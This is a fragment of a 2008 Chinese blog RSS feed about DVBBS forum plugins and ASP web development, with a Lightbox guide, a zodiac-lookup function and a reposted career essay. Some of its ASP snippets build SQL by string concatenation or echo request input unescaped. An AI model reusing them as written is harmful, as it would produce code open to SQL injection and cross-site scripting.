<div forimg="1" align="center"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/yuanguo%5F/pic/item/28dedb2a681a7038d42af1e4.jpg">
<div forimg="1" align="center"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/yuanguo%5F/pic/item/27afd83f0fd7f1d77d1e71e4.jpg"></div>
</div>
</div>
<p>&nbsp;&nbsp;  浮动聊天插件for dvbbs8.0-8.2 终于迎来了正式版的里程，正式版1.4版发布。<br>
&nbsp;&nbsp;&nbsp;  解决了数据库访问出错的问题,取消了chat_conn.asp,美化了界面,下载覆盖就可以了，下载地址不变.<br>
本插件的特点：<br>
　　1.自动识别站点名称,统计在线人数，界面1.2版界面不变。<br>
　　2.随机自动分配游客身份。<br>
　　3.绿色插件，安装简单方便，下载附件解压后直接上传至论坛根目录，以管理员的权限访问setconfig.asp，配置相关参数<br>
Const dvbbsDB=&quot;../data/XXXXXX.asp&quot; '请将XXXXXX.asp改为自己的动网论坛数据库名称<br>
Const chatDB=&quot;./XXXXXXXXXX.mdb&quot; '请将XXXXXXXXXX.mdb&quot;改为自己改名后的聊天程序数据库名称<br>
&nbsp;&nbsp;&nbsp;  然后在后台论坛版权信息中添加如下代码：<br>
　　　 &lt;script src=&quot;chat/chatw3c.asp&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;。<br>
　　4.聊天记录，可自行管理，取消了自动清除功能。 <br>
　　5.解决了最小化有IE6下有多于空白的问题和随滚动条移动时的透明问题，为了节约服务资源，2分钟内不发言，窗体自动最小化。<br>
&nbsp;&nbsp;&nbsp;  6.增加了系统消息提示，查看会员资料，聊天记录管理(内容区右键打开)功能以及私聊功能，禁止发言(T人)功能。<br>
&nbsp;&nbsp;&nbsp;  7.支持全部聊天记录查看，私聊信息除外,支持窗体状态保持(即切换页面时最小化及聊天窗口状态保持不变)。<br>
&nbsp;&nbsp;&nbsp;  8.支持命令&quot;mgr///&quot;打开配置管理、&quot;del///&quot;删除所有聊天内容，&quot;ver///&quot;系统版本查询。前两个需要有管理员权限才能执行,更多命令开发中...<br>
&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  如何屏蔽垃圾信息？<br>
&nbsp;&nbsp;&nbsp;  如果某某社区的垃圾比较多,以管理员的权限访问setconfig.asp,找到Const cant=1 这项,改为0即可,这样就只有会员才可聊天,如果会员还是那样的话,自己看着办!<br>
&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  是否支持表情？<br>
&nbsp;&nbsp;&nbsp;  /01-/49可插入表情,/m1-/m329可插入麻魔法表情，如果不需要，以管理员的权限访问setconfig.asp,找到以下两项,改为0即可<br>
Const IsEmot = 1'需要表情，请改为0<br>
Const IsMagicfaceEmot = 1'需要魔法表情，请改为0</p>
<p>&nbsp;&nbsp;&nbsp;  由于时间有限，暂时更新到这里了。</p>
<p>&nbsp;&nbsp;&nbsp;  1.4版测试站点：<br>
　　<br>
&nbsp;&nbsp;&nbsp;&nbsp;  <a href="http://www.52bcl.net/">http://www.idafng.com</a></p>
<p>&nbsp;&nbsp;&nbsp;  有问题，请继续跟贴讨论！ <br>
&nbsp;&nbsp;&nbsp;  <a target="_blank" href="http://bbs.onlywww.net/dispbbs.asp?boardid=15&amp;id=72&amp;page=1&amp;star=1">http://bbs.onlywww.net/dispbbs.asp?boardid=15&amp;id=72&amp;page=1&amp;star=1</a><br>
&nbsp;&nbsp;&nbsp;  <a href="http://bbs.dvbbs.net/dispbbs.asp?boardid=13&amp;Id=1523645">http://bbs.dvbbs.net/dispbbs.asp?boardid=13&amp;Id=1523645</a></p>
<p>　本文来自&ldquo;无双社区&rdquo; <a href="http://bbs.onlywww.net/">http://bbs.onlywww.net</a></p> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/0c384d348631814b251f140c.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/web%BF%AA%B7%A2">web开发</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/0c384d348631814b251f140c.html#comment">查看评论</a>]]></description>
        <pubDate>2008年06月16日 星期一  上午 09:34</pubDate>
        <category><![CDATA[web开发]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/0c384d348631814b251f140c.html</guid>
</item>

<item>
        <title><![CDATA[DVBBS8.2首页四格调用的问题]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/d658922f7321993d1f308933.html]]></link>
        <description><![CDATA[
		
		<p>　　昨天终于把<a target="_blank" href="http://bbs.onlywww.net"><font color="#0000ff">http://bbs.onlywww.net</font></a>首页处理了一把,加上一个四格调用。不调不知道,一调用吓一跳,问题还真是不少呢，下面偶慢慢道来： 　<br>
　　首先是缩略图的问题，系统提供的：{$Filename}和：{$ViewFilename}得到的值均是缩略图，默认大小是120X100，一般都不会去更改的，造成了调用的图片不清晰（因为放大了），感觉很不好。<br>
解决方法，将pics+=&quot;{$ViewFilename}|&quot;;改为pics+=&quot;{$ViewFilename}|&quot;.replace(&quot;PreviewImage&quot;,&quot;UploadFile&quot;).replace(&quot;pre&quot;,&quot;&quot;); 目的是为了将缩略图位置改为直接文件地址。但这里又有一个问题产生，如果系统没有生成缩略图就得不到图片地址，所以此法只能解决不清晰的问题，要求不高的可以拿来用，不想凑合就往下看。<br>
　　其次是{$Readme}这个变量，系统备注为&ldquo;文件说明&rdquo;，但是有的图片保存后没有这个值，就会造成调用图片的FALSH不显示标题的情况，留下一道空白，美中不足啊！解决方法是利用Rootid到Dv_Topic表中取Title出来，准确无误。具体代码如下：</p>
<p>以下内容为程序代码:</p>
<p>1 function getTopic(AnnounceID)</p>
<p>2 if AnnounceID=&quot;&quot; then</p>
<p>3 getTopic=&quot;&quot;</p>
<p>4 exit function</p>
<p>5 end if 6 dim rsTopic,sql</p>
<p>7 set rsTopic=Dvbbs.Execute(&quot;select Title from Dv_Topic where TopicID=&quot;&amp;AnnounceID)</p>
<p>8 If Not rsTopic.eof Then</p>
<p>9 getTopic=(rsTopic.GetRows(-1))(0,0)</p>
<p>10 Else 11 getTopic=&quot;&quot; 12 End If 13 rsTopic.close:Set rsTopic = Nothing 14 End function上面的代码加入到Dv_news.asp中可代调用</p>
<p><br>
　　三是直接用文件名字段（F_Filename）来处理,循环部分改为pics+=&quot;{$F_Filename}|&quot;;在Dv_news.asp中加入<br>
Skin_Main = Replace(Skin_Main,&quot;{$Boardid}&quot;,SQL(2,i))<br>
Skin_Main = Replace(Skin_Main,&quot;{$UserName}&quot;,SQL(3,i))<br>
Skin_Main = Replace(Skin_Main,&quot;{$Readme}&quot;,Topic&amp;&quot;&quot;)<br>
if &quot;jpg&quot;=SQL(7,i) then'FLASH不认jpg外的其它图片，所以要加判断<br>
&nbsp;&nbsp;  Skin_Main = Replace(Skin_Main,&quot;{$F_Filename}&quot;,(&quot;UploadFile/&quot;&amp;SQL(4,i)))<br>
else<br>
&nbsp;&nbsp;  Skin_Main = Replace(Skin_Main,&quot;{$F_Filename}&quot;,SQL(9,i))'不是jpg图片，就用缩略图来用<br>
end if<br>
　　至此，完美的解决了幻灯片调用问题。<br>
　　本文来自&ldquo;无双社区&rdquo; <a href="http://52bcl.net/"><font color="#0000ff">http://bbs.onlywww.net</font></a></p> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/d658922f7321993d1f308933.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/%C2%DB%CC%B3%B9%DC%C0%ED">论坛管理</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/d658922f7321993d1f308933.html#comment">查看评论</a>]]></description>
        <pubDate>2008年06月16日 星期一  上午 08:59</pubDate>
        <category><![CDATA[论坛管理]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/d658922f7321993d1f308933.html</guid>
</item>

<item>
        <title><![CDATA[Listbox图片秀的应用]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/4390dca2d50594a8caefd07b.html]]></link>
        <description><![CDATA[
		
		<div class="section clearfix">
<h2><font size="3">Lightbox JS 是一个简单而又谦恭的用来把图片覆盖在当前页面上的脚本. 它能被快速安装并且运作于所有流行的浏览器.<br>
</font><br>
<font size="3">演示:<font color="#0000ff"><a target="_blank" href="http://bbs.onlywww.net/ad/pho/">http://bbs.onlywww.net/ad/pho/</a></font></font><br>
<br>
<font size="3">如何使用:</font></h2>
</div>
<div class="section">
<h3>步骤 1 - 安装 <br>
&nbsp;&nbsp;&nbsp;  Lightbox v2.0 使用 Prototype 框架和 Scriptaculous 效果库. 你将需要外调这三个 Javascript 文件在你的 header.</h3>
<ol>
    <li>
    <pre><code>&lt;script type=&quot;text/javascript&quot; src=&quot;js/prototype.js&quot;&gt;&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;js/scriptaculous.js?load=effects&quot;&gt;&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;js/lightbox.js&quot;&gt;&lt;/script&gt;
</code></pre>
    </li>
    <li>外调 Lightbox CSS 文件 (或添加 Lightbox 样式到你现行的样式表中).
    <pre><code>&lt;link rel=&quot;stylesheet&quot; href=&quot;css/lightbox.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&gt;
</code></pre>
    </li>
    <li>检查 CSS 并确定调用的 <code><font face="NSimsun">prev.gif</font></code> 和 <code><font face="NSimsun">next.gif</font></code> 文件在正确的位置. 同样要确定调用的 <code><font face="NSimsun">loading.gif</font></code> 和 <code><font face="NSimsun">close.gif</font></code> 文件及 <code><font face="NSimsun">lightbox.js</font></code> 文件在正确的位置.</li>
</ol>
<h3>步骤 2 - 激活</h3>
<ol>
    <li>添加 <code><font face="NSimsun">rel=&quot;lightbox&quot;</font></code> 属性到任何一个链接标签去激活lightbox. 例如:
    <pre><code>&lt;a href=&quot;images/image-1.jpg&quot; rel=&quot;lightbox&quot; title=&quot;my caption&quot;&gt;image #1&lt;/a&gt;
</code></pre>
    <em>可选择项: </em>使用 <code><font face="NSimsun">title</font></code> 属性加上说明.</li>
    <li>如果你有一套你想分组的相关图片, 接着上一部并且又在 rel 属性中添加一个带方括号的组名. 例如:
    <pre><code>&lt;a href=&quot;images/image-1.jpg&quot; rel=&quot;lightbox[roadtrip]&quot;&gt;image #1&lt;/a&gt;
&lt;a href=&quot;images/image-2.jpg&quot; rel=&quot;lightbox[roadtrip]&quot;&gt;image #2&lt;/a&gt;
&lt;a href=&quot;images/image-3.jpg&quot; rel=&quot;lightbox[roadtrip]&quot;&gt;image #3&lt;/a&gt;
</code></pre>
    没有限定每个页面的图片组数量和每个图片组图片的数量. 疯了！</li>
</ol>
</div>
<a target="_blank" name="download"></a>
<div class="section">
<h2>下载:</h2>
<ul class="download">
    <li><br>
    <table class="tableborder4 FCK__ShowTableBorders" style="width: 550px" cellspacing="2" border="0">
        <tbody>
            <tr>
                <td class="tablebody2" colspan="2" height="20"><strong>下载信息</strong>&nbsp;&nbsp;  [文件大小：<a target="_blank" name="UpFileSize">46.9 KB</a>&nbsp;&nbsp;  下载次数：<a target="_blank" name="LoadTime">0</a>]</td>
            </tr>
            <tr>
                <td class="tablebody1" colspan="2" height="20"><a target="_blank" href="http://bbs.onlywww.net/viewFile.asp?BoardID=15&amp;ID=217"><font color="#0000ff">
                <div forimg="1"><img class="blogimg" title="dvubb" alt="图片点击可在新窗口打开查看" border="0" small="0" src="http://bbs.onlywww.net/skins/default/filetype/rar.gif"></div>
                点击浏览该文件:pho.rar</font></a></td>
            </tr>
        </tbody>
    </table>
    <hr noshade="noshade" size="1">
    </li>
</ul>
<h3>修改日志</h3>
<ul>
    <li><strong>v2.02</strong> - 修正了由多行说明导致的布局问题. 添加了用键盘来导航.</li>
    <li><strong>v2.01</strong> - 修正了在IE6中的居中问题(任何的 DOCTYPE). 使自适应调整变得更流畅.</li>
</ul>
</div> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/4390dca2d50594a8caefd07b.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/%C2%DB%CC%B3%B9%DC%C0%ED">论坛管理</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/4390dca2d50594a8caefd07b.html#comment">查看评论</a>]]></description>
        <pubDate>2008年06月11日 星期三  下午 11:28</pubDate>
        <category><![CDATA[论坛管理]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/4390dca2d50594a8caefd07b.html</guid>
</item>

<item>
        <title><![CDATA[一个根据日期快速查找星座的方法]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/51cb04faf387ba9259ee908c.html]]></link>
        <description><![CDATA[
		
		编号&nbsp;&nbsp;&nbsp;  起止日期&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;    名称 <br>
1&nbsp;&nbsp;  　 12.22 - 1.19&nbsp;&nbsp;&nbsp;  魔羯 <br>
2&nbsp;&nbsp;  　 1.20 - 2.18&nbsp;&nbsp;&nbsp;&nbsp;  水瓶 <br>
3&nbsp;&nbsp;  　 2.19 - 3.20&nbsp;&nbsp;&nbsp;&nbsp;  双鱼 <br>
4&nbsp;&nbsp;  　 3.21 - 4.20&nbsp;&nbsp;&nbsp;&nbsp;  牡羊 <br>
5&nbsp;&nbsp;&nbsp;  　 4.21 - 5.20&nbsp;&nbsp;&nbsp;&nbsp;  金牛 <br>
6&nbsp;&nbsp;  　 5.21 - 6.21&nbsp;&nbsp;&nbsp;&nbsp;  双子 <br>
7&nbsp;&nbsp;&nbsp;  　 6.22 - 7.22&nbsp;&nbsp;&nbsp;&nbsp;  巨蟹 <br>
8&nbsp;&nbsp;&nbsp;  　 7.23 - 8.22&nbsp;&nbsp;&nbsp;&nbsp;  狮子 <br>
9&nbsp;&nbsp;&nbsp;  　 8.23 - 9.22&nbsp;&nbsp;&nbsp;&nbsp;  处女 <br>
10&nbsp;&nbsp;  　9.23 - 10.22&nbsp;&nbsp;&nbsp;  天秤 <br>
11 　 10.23 - 11.21&nbsp;&nbsp;  天蝎 <br>
12&nbsp;&nbsp;  　11.22 - 12.21&nbsp;&nbsp;  射手 <br>
<br>
<br>
'输入日期返回星座编号 <br>
<font color="#003366">Response.write getConstellation(11,23) <br>
<br>
<br>
Function getConstellation(iMonth, iDay) <br>
&nbsp;&nbsp;&nbsp;&nbsp;  Dim sDay, aDay<br>
&nbsp;&nbsp;&nbsp;&nbsp;  sDay = &quot;20,19,21,21,21,22,23,23,23,23,22,22&quot;<br>
&nbsp;&nbsp;&nbsp;&nbsp;  aDay = Split(sDay,&quot;,&quot;)<br>
&nbsp;&nbsp;&nbsp;&nbsp;  If iDay &lt; aDay(iMonth - 1) Then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  getConstellation = iMonth<br>
&nbsp;&nbsp;&nbsp;&nbsp;  Else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  getConstellation = iMonth + 1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  If getConstellation = 13 Then getConstellation = 1<br>
&nbsp;&nbsp;&nbsp;&nbsp;  End If<br>
&nbsp;&nbsp;&nbsp;&nbsp;  Erase aDay<br>
&nbsp;&nbsp;&nbsp;&nbsp;  Set aDay = Nothing<br>
End Function</font><br> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/51cb04faf387ba9259ee908c.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/web%BF%AA%B7%A2">web开发</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/51cb04faf387ba9259ee908c.html#comment">查看评论</a>]]></description>
        <pubDate>2008年06月08日 星期日  下午 12:50</pubDate>
        <category><![CDATA[web开发]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/51cb04faf387ba9259ee908c.html</guid>
</item>

<item>
        <title><![CDATA[八大心态，让你“混”不下去]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/552847fb9f5c3761034f56ba.html]]></link>
        <description><![CDATA[
		
		<div style="padding-right: 12px; padding-left: 12px; padding-bottom: 16px; padding-top: 16px">以下为转载文章。<br>
<br>
<img height="1" width="10" border="0" src="http://forum.ceconline.com/images/blank.gif"><font size="+0">　　</font><font size="2">我在公司工作了11年，好不容易熬到老退休，刚当了4个月科长，最近科长被撤，受了打击，自我反省，终于悟出了让我在职场&ldquo;混&rdquo;不下去的原因是这八大心态：<br>
<br>
　　<strong>第一大心态：得过且过</strong><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  典型症状：&quot;得过且过&quot;在字典上的解释是：只要勉强过得去就这样过下去，也指对工作不负责任、敷衍了事。<br>
　　别看现在这个社会竞争激烈，但总有人能&quot;超然物外&quot;、我行我素，&quot;按既定方针办&quot;，领导再怎么急于出成绩、见效益，那也跟我没关系，我就这么着了。病理分析：这种人又分为两种：一种是真傻、也真懒，虽说也对生活有较高的要求，知道好日子过着舒服，但就是不愿意费那个劲。动脑子、花心思太累，有时间还是趁年轻多玩玩。<br>
　　另一种人是装傻，其实往往很聪明、有能力、也不乏思想，表面看是偷懒，实际上是糊弄事，让人说深了不是、说浅了不是：您不是让我干活吗，我干了，让干多少干多少，您还想怎么着啊？可那活质量如何？咳，差不离儿得了，较什么真儿啊，给这点钱，值当我拚命嘛！<br>
　<strong>　实用处方：</strong><br>
　　1、假如你是第一种人，&quot;天上没有掉馅饼的&quot;最适合你，即使你占过那么一两次小便宜，一旦遇到裁员风波，领导fire名单的第一行肯定有你。<br>
　　2、假如你是第二种人，也许工作对你只是个解闷的工具，你不指望靠它挣钱，那是个人生活观的问题，谁也无法改变你，不过您最好自觉点，自动离职最好，等着让人开就没什么面子了。<br>
　　3、假如你不幸有这样的属下，第一步看看有没有改进的可能，如果沟通多次，对方依然得过且过，别怕人背后说你不留情面，既然他不干活干脆fire了都省心。<br>
<br>
　<strong>　第二大心态：没有危机意识</strong><br>
<br>
　　典型症状：好像网络从业人员比较爱这样。<br>
　　前一年各种媒体近乎没有脑子地爆炒网络经济，导致一大批热血青年投奔网站，似乎认定只要到了网站就离富翁不远了。拿着少说七八千，动辄上万的月薪，有一部分人还清醒，知道何时进、何时退。而另一部分是彻头彻尾地晕菜了，什么裁员哪、纳指降到一美元以下呀、某大网站被迫关张呀这么负面消息似乎对他们没有任何影响，他们依然每天昂首挺胸地去上班，跟什么事没有似的。<br>
　　上个月到一家著名网站去玩，依旧一派歌舞升平，外面的世界跟里面的世界没关系。问一个主管，你们难道不觉得危机吗？对方像看恐龙一样望着我，告诉我一个&quot;真理&quot;：到网络公司，别提什么危机意识，我们不懂。<br>
　　病理分析：其实不仅网络公司，每个人的职业生涯里都会遇到危机，有竞争的危机，也有失业的危机。所以，咱们脑子里要时刻崩紧这根弦，早做准备、多做准备，才不会在危机来临之时抓瞎。<br>
　　实用处方：每天看看竞争对手的工作情况；每隔一段时间念一遍《甲申三百年祭》，想想李自成是怎么完蛋的。<br>
<br>
　<strong>　第三大心态：干耗不充电</strong><br>
<br>
　　典型症状：看似与本质工作无关的东西，学它干吗，又用不着！<br>
　　病理分析：徐琳因考不考车本的问题与老公&quot;杠&quot;过好几次了。徐琳是一家杂志社的美术编辑，不做班，即使去上班也有班车，加上一时半会儿没有买车的计划，徐琳一直不想考车本。她觉得用不着。而老公认为，开车是现在职业人的基本技能，就跟人必须还自己穿衣服一样，再说，历来就有技不压身的古训，同样的机会摆在面前，谁会得越多谁胜算越大。<br>
　　胡洁大本毕业，在一家公司工作，5年下来，虽然现在的工作她空手驾轻就熟地完成，但总觉有被掏空的感觉。这5年来，胡洁的日子踏踏实实，她一直觉得有个大本就够吃一辈子的。可现在看来，似乎不是这么回事了。<br>
　<strong>　实用处方：</strong><br>
　　1、职场生涯没有一通到底的passport，充电是必须的。曾有人说，21世纪就业的3大基本技能是外语、电脑和开车。也许说得&quot;邪乎&quot;了点，但不可否认的是，如果这三样技能你样样精通，那就是好工作找你多一些而不是你忙着去找好工作。所以你看，大街小巷的电脑、外语学习班个个都火，驾校约车都困难。<br>
　　2、不断追求更高目标：只有大学本科的学历，最多再撑三、五年，以后估计连研究生都是&quot;堆儿撮&quot;的了，也许，到那时你的大本文凭只相当于现在的中专，天哪，你不害怕吗？所以，有时间还是读个二学历、研究生、博士、MBA什么的，心里也踏实。<br>
　　3、充电不盲目：不要看着别人报班就跟着起哄，最好选择有实用价值、有针对性地去学习。<br>
　　4、充电是随时随地都可以的，读一本书、与同事探讨都是充电的过程。<br>
<br>
　　<strong>第四大心态：兼职兼到头晕</strong><br>
<br>
　　典型症状：&quot;狗揽八泡屎&quot;（话糙理不糙），有机会就要兼职挣钱，脑袋都大了。<br>
　　病理分析：兼职既能把一个人的特长发挥到极至，又能最大限度地创收，所以很多人愿意做兼职的工作。如果有这个能力，机会又合适，无可厚非（国家明令不允许兼职的人员除外）。但如果一人身兼4职、5职，兼到头晕脑胀的程度，肯定会有得不偿失的一天。<br>
　　<strong>实用处方：</strong><br>
　　首先得明白一个道理：兼一百个职，也不见得能兼成富翁。<br>
　　兼职太多，如果影响了本职工作，会不会影响到职业基础？假如你觉得现在的工作本不如意，不如直接找个称心的工作，毕竟兼职总有点做贼的感觉。<br>
　　世上没有不透风的墙，兼职太多，传到本单位去就比较麻烦，至少要花心思去解释呀！<br>
　　兼职最好不要超过3个。<br>
<br>
　　<strong>第五大心态：事不关己 高高挂起</strong><br>
<br>
　　典型症状：凡事三缄其口，不问就不说，宁可让好想法烂在肚子里。<br>
　　病理分析：当年我在一家公司做策划部主任的时候，部门里就有一个这样的同志，明明极为聪明，好创意一个一个往外面冒，就是不说，&quot;你也没问我呀！&quot;开会的时候，她从来可到让她做什么策划的时候，那些火花呀、创意呀，又让你不得不承认她做得漂亮。我曾经几次跟她谈过，我认为每一个部门的成就是大家一起创造的，在同一个集体里没有与自己无关的事。可她说，不是我分内的事情我为什么要替别人操心。唉，人是聪明人，就是没有团队意识。<br>
　　<strong>实用处方：换位思考</strong><br>
　　如果你是这样的员工，请替你的领导考虑考虑，如果你处在他的位置上，你会怎么想？你是不是希望大家的劲儿往一块使？你是不是希望人人都有好创意？你是不是要讲团队意识？<br>
　　如果你手下有这样的员工，请把自己放在他的位置考虑考虑。他是不是怕话说多了让领导误以为他想怎么怎么着？你有没有及时跟他沟通自己的想法，让他知道你很在意、很看重他的意见和建议？建设一个好的氛围，让人人都发表自己的见解，对你的帮助会是最大的。<br>
<br>
　<strong>　第六大心态：机会来临抹头就跑</strong><br>
<br>
　　典型症状：因为害怕失败，所以不敢尝试新的、更高一层的工作。<br>
　　病理分析：这是何惠最为懊悔的一件事了。当&quot;兵&quot;当出彩来的她，年底面临一个好机会。总经理找她谈话，告诉她将有机会竞争一个部门主任的职位，而且总经理亲口告诉她，有资格竞争的人不超过4个，而那3个人谁也没有何惠更了解这个部门的工作，总经理说：&quot;如果你上，还是有很大机会的。&quot;话都说到这份上了，换了谁都能明白，总经理对她寄予厚望，这个职位就应该是她的了。可何惠思前想后，到最后居然回绝了总经理，因为她认为自己还是做具体的业务比较合适，做管理工作没有经验，怕干不好让领导失望。就这么个理由，阿惠把加薪晋级的大好机会拱手送给了别人。<br>
　　<strong>实用处方：当仁不让 客气什么</strong><br>
　　没有人天生就会做一个新的工作，经验都是在做的过程当中学习和积累出来的，因为害怕失败就放弃机会，没有比这更没出息的了。你的上级领导也会失望的，不是因为你没做好工作，而是因为你连尝试的意愿都没有。假如你真的努力做了，即使没有达到领导的预定目标都没什么关系，至少你努力过了。而拒绝机会意味着什么？意味着你胆怯、没有勇气，这是不是职场大忌？<br>
<br>
　　<strong>第七大心态：寻找靠山且急于表现</strong><br>
<br>
　　典型症状：话里话外、明着暗着告诉同事：&quot;我是XXX的人。&quot;<br>
　　病理分析：没有一个打工的人不愿意跟老板搞好关系，除非你自己当老板。跟老板搞好关系的基础是什么？是你要有自己的一套，得能练活儿，还要练得漂亮。但即便你跟老板关系再好，也别让别人认为你把老板当成靠山，好让别人不敢怎么怎么。<br>
　　职场是个利益共同体，你跟老板再磁，他愿意为了你一个人而犯众怒吗？再说，你干活到底是给谁干的？不是给老板干的，是给自己攒本钱呢！万一哪天老板走人了，你是不是又要挖空心思找一个新的靠山？靠山是会变的，而变化的靠山还靠得住吗？<br>
　　<strong>实用处方：</strong><br>
跟各层领导都处好是非常重要的，但千万别让人以为你是XXX的人。<br>
<br>
　　<strong>第八大心态：把没思想show给你看</strong><br>
<br>
　　典型症状：让干什么就干什么，让做&quot;一&quot;决不做&quot;二&quot;，不会做也不想怎么怎样才能做。<br>
　　病理分析：不可能人人都是天才，但也不能人人都是木头吧？只有木头才没有自己的思想。一般而言，领导如果让你做到1，他会点拨到0.5，但他希望你能想到2甚至3，做到1.5或2.假如你连想都不想，就那么照方抓药似的做了，肯定不会出彩。领导喜欢的是创造性地理解，然后发挥，而不是把没思想show给他看。<br>
　　<strong>实用处方：</strong><br>
　　凡事多动脑筋，多学习别人的长处</font></div> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/552847fb9f5c3761034f56ba.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/%BE%CD%D2%B5">就业</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/552847fb9f5c3761034f56ba.html#comment">查看评论</a>]]></description>
        <pubDate>2008年06月08日 星期日  下午 12:35</pubDate>
        <category><![CDATA[就业]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/552847fb9f5c3761034f56ba.html</guid>
</item>

<item>
        <title><![CDATA[ASP版网页减肥工具]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/0338b209d40d62216b60fbf8.html]]></link>
        <description><![CDATA[
		
		<p>　　昨天在处理<a target="_blank" href="http://52bcl.net/vb"><font color="#0000ff">ASP教程</font></a>时，突然发现一个大问题，什么问题呢？发现每一个htm文件都在50K以上，相当汗哦！一般htm文件在30K以上就相当大了，经检查后发现，文件中存在大量的空格和换行，这还是其次呢，另外还有一个在A标记中tppabs=&quot;XXXXXXX&quot;（经查证实为<font size="3"><font color="#000000">Teleport Ultra留下的</font></font>）的属性，占用了大量空间。于是想到了网页减肥工具，百度了一把，确实有许多这样的工具，但是都是需要注册的，不注册不能批量处理，752个文件，一个一个处理，汗－直接晕倒！最后决定自己抄家伙写个出来，接下来就开始写了一个ASP版的，主要优化html,htm.shtml等扩展名的文件，处理掉空格和换行以及处理tppabs＝&quot;XXXXX&quot;的东东，完整源代码如下：</p>
<p><font color="#339966">　</font><font color="#333300">&lt;form id=&quot;form1&quot; name=&quot;form1&quot; method=&quot;post&quot; action=&quot;&quot;&gt;<br>
&lt;label&gt;&lt;/label&gt;<br>
&lt;p&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;label&gt;&lt;/label&gt;<br>
&lt;/p&gt;<br>
&lt;br/&gt;<br>
&lt;table width=&quot;520&quot; border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;1&quot; bgcolor=&quot;#66CC99&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;tr bgcolor=&quot;#FFFFFF&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td height=&quot;40 &quot; colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#57DB9C&quot;&gt;&lt;strong&gt; ASP版网页源码减肥工具&lt;/strong&gt;&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/tr&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;tr bgcolor=&quot;#FFFFFF&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td align=&quot;center&quot;&gt;网站目录:&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td&gt;&lt;label&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;input name=&quot;WebMuLu&quot; type=&quot;text&quot; id=&quot;WebMuLu&quot; size=&quot;40&quot; value=&quot;&lt;% if Request(&quot;WebMuLu&quot;)&lt;&gt;&quot;&quot; Then Response.Write(Request(&quot;WebMuLu&quot;)) else Response.Write(Server.MapPath(&quot;./&quot;)) End If%&gt;&quot; /&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;/label&gt;&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/tr&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;tr bgcolor=&quot;#FFFFFF&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td width=&quot;127&quot; align=&quot;center&quot;&gt;文件后缀:&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td width=&quot;373&quot;&gt;&lt;input name=&quot;HouZhui&quot; type=&quot;text&quot; id=&quot;HouZhui&quot; value=&quot;&lt;%If Request(&quot;HouZhui&quot;)&lt;&gt;&quot;&quot; Then Response.Write(Request(&quot;HouZhui&quot;)) Else Response.Write(&quot;shtml,html,htm&quot;) End If%&gt;&quot; size=&quot;40&quot; /&gt;&lt;/td&gt;<br>
